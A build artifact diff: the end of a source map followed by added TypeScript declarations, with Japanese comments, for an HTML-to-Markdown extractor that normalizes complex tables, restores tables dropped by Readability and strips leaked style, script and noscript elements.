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"}
|
|
@@ -21,4 +21,120 @@ export interface ExtractResult {
|
|
|
21
21
|
extractionMethod: ExtractionMethod;
|
|
22
22
|
}
|
|
23
23
|
/** HTML文字列をMarkdownへ変換する。 */
|
|
24
|
+
/** collectDataTables/救出が必要とするDOM要素の最小インターフェース(linkedom/ブラウザDOM双方と互換)。 */
|
|
25
|
+
interface TableCandidate {
|
|
26
|
+
tagName: string;
|
|
27
|
+
outerHTML: string;
|
|
28
|
+
innerHTML: string;
|
|
29
|
+
textContent: string;
|
|
30
|
+
parentElement: TableCandidate | null;
|
|
31
|
+
closest(selector: string): TableCandidate | null;
|
|
32
|
+
querySelectorAll(selector: string): ArrayLike<TableCandidate>;
|
|
33
|
+
}
|
|
34
|
+
interface TableQueryHost {
|
|
35
|
+
querySelectorAll(selector: string): ArrayLike<TableCandidate>;
|
|
36
|
+
}
|
|
37
|
+
/** 救出対象のデータ表。位置復元のため直前の見出し/段落テキストをアンカーとして持つ。 */
|
|
38
|
+
export interface DroppedTable {
|
|
39
|
+
/** turndownへ渡す正規化済みHTML(colspan/rowspan展開・多段ヘッダ結合後)。 */
|
|
40
|
+
html: string;
|
|
41
|
+
/**
|
|
42
|
+
* 表内セル(th/td)から作った照合プローブ群。Readability出力に既にある表かの重複判定に使う。
|
|
43
|
+
* 単一signatureではなく複数プローブの多数決にするのは、Readabilityが表を保持しつつ一部セルの
|
|
44
|
+
* 隠し要素を刈る(Langエラーspan・隠し座標span等)ため、先頭固定のsignatureだと保持済みの表でも
|
|
45
|
+
* 照合が外れて丸ごと再挿入されるのを防ぐため。contentHtml側と同じnormalizeForSignature
|
|
46
|
+
* (タグ→空白)で両辺を揃える(空白非対称による重複挿入対策)。
|
|
47
|
+
*/
|
|
48
|
+
probes: string[];
|
|
49
|
+
/** 表の直前の見出し(優先)または近傍段落の正規化テキスト。位置復元のアンカー。無ければ空。 */
|
|
50
|
+
anchor: string;
|
|
51
|
+
}
|
|
52
|
+
/**
|
|
53
|
+
* turndownのGFMテーブル変換はcolspan/rowspan・多段ヘッダを扱えず列ズレや空セルを生む。
|
|
54
|
+
* グリッドを再構築してspanを「位置の占有」として展開し(内容の複製はしない)、先頭の連続ヘッダ行は
|
|
55
|
+
* 1行へ結合してから全行同一列数の単純表を返す。救出経路(collectDataTables)とReadability/アダプタ等が
|
|
56
|
+
* 本文に保持した複雑表(normalizeRetainedTables)の双方から呼ばれる。
|
|
57
|
+
* spanの無い単純表・既に正規化済みの表に対しては構造を変えず冪等に振る舞う。
|
|
58
|
+
* captionは再構築で失われないよう先頭へ復元する。
|
|
59
|
+
*
|
|
60
|
+
* 内容配置は行の役割で分岐する:
|
|
61
|
+
* - 列ヘッダ行(all-th ∧ 起点セル2つ以上): 占有読み。colspanグループラベルは配下の各列へ複製される
|
|
62
|
+
* (多段ヘッダ結合「グループ 列名」の意味を保つための唯一の複製)
|
|
63
|
+
* - データ行: 起点位置にのみ内容、span継続位置は空セル(複製しない)
|
|
64
|
+
* - 全幅単一th行: 列ヘッダではなく表題/節ラベル。先頭の連続分はcaptionへ畳み(turndown-gfmが
|
|
65
|
+
* ヘッダ行を見失って複雑表フォールバックへ落ちるのを防ぐ)、表中間の区切り行はデータ行として出力
|
|
66
|
+
*/
|
|
67
|
+
export declare function normalizeTableHtml(tableHtml: string): string;
|
|
68
|
+
/**
|
|
69
|
+
* Readabilityが取りこぼしがちなデータ表を、救出候補としてHTML文字列+位置アンカーで採取する。
|
|
70
|
+
* Readabilityのparseは渡したdocumentを破壊的に変更するため、必ずparse前に呼ぶこと。
|
|
71
|
+
* 最外表のみ(入れ子の表は最外表のouterHTMLに含まれる)・2行以上かつ2列以上のものを
|
|
72
|
+
* 「データ表」とみなす(1列や単一行はレイアウト/リスト相当なので対象外)。
|
|
73
|
+
*/
|
|
74
|
+
export declare function collectDataTables(body: TableQueryHost): DroppedTable[];
|
|
75
|
+
/**
|
|
76
|
+
* Readability出力に含まれない表だけを、可能なら元の位置(アンカー直後)へ、無理なら末尾へ再結合する。
|
|
77
|
+
* アンカー(表の直前見出し/段落)がReadability出力に残っていれば、その要素の直後に挿入して
|
|
78
|
+
* 「表が本来属していた節」へ戻す(記事構造=意味の保持)。残っていなければ末尾フォールバック。
|
|
79
|
+
*/
|
|
80
|
+
export declare function reinsertDroppedTables(contentHtml: string, tables: DroppedTable[]): {
|
|
81
|
+
html: string;
|
|
82
|
+
appended: number;
|
|
83
|
+
};
|
|
84
|
+
/**
|
|
85
|
+
* 本文HTMLに保持された複雑表(colspan/rowspan・多段ヘッダ)をその場で正規化し、あわせて全表の
|
|
86
|
+
* セル内ブロック要素をインライン化する。
|
|
87
|
+
* 救出経路(reinsertDroppedTables)は「Readabilityが落とした表」しか正規化しないため、
|
|
88
|
+
* Readability/アダプタ/ジオメトリ/selector等が本文に保持した複雑表は未正規化のまま
|
|
89
|
+
* turndownへ渡ると列ズレ・空セルになる。turndown直前の全経路共通パスでこれを補う。
|
|
90
|
+
* (検証URLの日本語Wikipedia rowspan表はアダプタ経路=Readability非経由のため、
|
|
91
|
+
* readability経路限定ではなく全経路に適用する必要がある。)
|
|
92
|
+
* 正規化はspan/多段ヘッダを持つ最外データ表だけを対象にし、レイアウト表・単純表・
|
|
93
|
+
* 既に正規化済みの表(救出で挿入済みを含む)は触らないため冪等。
|
|
94
|
+
* インライン化はブロック要素を持つ全ての表が対象(セル内ul等によるturndown-gfmのouterHTML
|
|
95
|
+
* ダンプを防ぐため)。入れ子表もgfmからは単体の表として変換される(外表スキップ時に内表だけが
|
|
96
|
+
* GFM表になる)ので、最外表に限定せず各表を個別にインライン化する。正規化より先に全表を
|
|
97
|
+
* インライン化するのは、外表の正規化(remove+再挿入)後では旧サブツリー内の入れ子表への
|
|
98
|
+
* 変更が出力へ反映されないため。
|
|
99
|
+
*/
|
|
100
|
+
export declare function normalizeRetainedTables(contentHtml: string): string;
|
|
101
|
+
/** removeStyleLeakElementsが除去対象を検索・除去できる最小限のDOM互換インターフェース。 */
|
|
102
|
+
interface StyleLeakElement {
|
|
103
|
+
closest(selector: string): unknown;
|
|
104
|
+
remove(): void;
|
|
105
|
+
}
|
|
106
|
+
export interface StyleLeakHostDocument {
|
|
107
|
+
querySelectorAll(selector: string): ArrayLike<StyleLeakElement>;
|
|
108
|
+
}
|
|
109
|
+
/**
|
|
110
|
+
* turndownにはstyle/scriptの内容を除外するルールが無く、DOM上に残っていると
|
|
111
|
+
* 地の文への吸収(defaultReplacementが子孫テキストをそのまま連結する)か、gfmプラグインの
|
|
112
|
+
* 複雑表フォールバック(node.outerHTMLをそのままダンプする)経由でMarkdownへ混入する。
|
|
113
|
+
* Readability自身は_prepDocumentで<style>を除去するが、それはparse()呼び出し時点の
|
|
114
|
+
* ドキュメントにしか効かない: 救出表(collectDataTables)はparse前のouterHTMLを採取するため
|
|
115
|
+
* 道連れにしてしまい、アダプタ/selector経路はReadabilityを経由すらしない。抽出方式に関わらず
|
|
116
|
+
* 確実に除去するため、全ての抽出処理より前にドキュメント全体から取り除く
|
|
117
|
+
* (removeConsentBannersより前: バナー判定のテキスト長ヒューリスティックが埋め込みCSSで
|
|
118
|
+
* 水増しされるのも防げる)。pre/code内は著者が意図的に置いたコード例とみなし対象外にする。
|
|
119
|
+
*
|
|
120
|
+
* noscriptは対象に含めない: Readability.parse()は内部の_unwrapNoscriptImages()で、遅延読み込み
|
|
121
|
+
* プレースホルダimgをnoscript内の実画像へ差し替えてからnoscriptを除去する(style/scriptには
|
|
122
|
+
* 無い復元ロジック)。ここで先回りして除去すると差し替え元のnoscriptが消え、劣化した
|
|
123
|
+
* プレースホルダ画像しか残らなくなる。noscript自体の除去はremoveResidualNoscriptElements
|
|
124
|
+
* (turndown直前の全経路共通パス、Readability実行後)に委ねる。
|
|
125
|
+
*/
|
|
126
|
+
export declare function removeStyleLeakElements(document: StyleLeakHostDocument): void;
|
|
127
|
+
/**
|
|
128
|
+
* <noscript>の除去は、Readability.parse()内の_unwrapNoscriptImages()(遅延読み込み
|
|
129
|
+
* プレースホルダimgをnoscript内の実画像へ差し替える処理)より後に行う必要がある
|
|
130
|
+
* (removeStyleLeakElementsのコメント参照)。readability/geometry/body-fallback経路は
|
|
131
|
+
* Readability.parse()が常に呼ばれる(結果を使わない場合も含め、渡したdocumentへ破壊的に
|
|
132
|
+
* 適用される)ため、この時点で画像差し替え・noscript除去は既に完了しており本関数は素通りする。
|
|
133
|
+
* 一方adapter/selector経路はReadabilityを経由しないため<noscript>が残ったままで、
|
|
134
|
+
* 地の文へ混入する。turndown直前の全経路共通パスに置くことで、経由済みの経路には影響を
|
|
135
|
+
* 与えず(冪等)、未経由の経路だけを確実にカバーする。pre/code内は著者が意図的に置いた
|
|
136
|
+
* コード例とみなし対象外にする。
|
|
137
|
+
*/
|
|
138
|
+
export declare function removeResidualNoscriptElements(html: string): string;
|
|
24
139
|
export declare function extractMarkdown(html: string, options?: ExtractOptions): ExtractResult;
|
|
140
|
+
export {};
|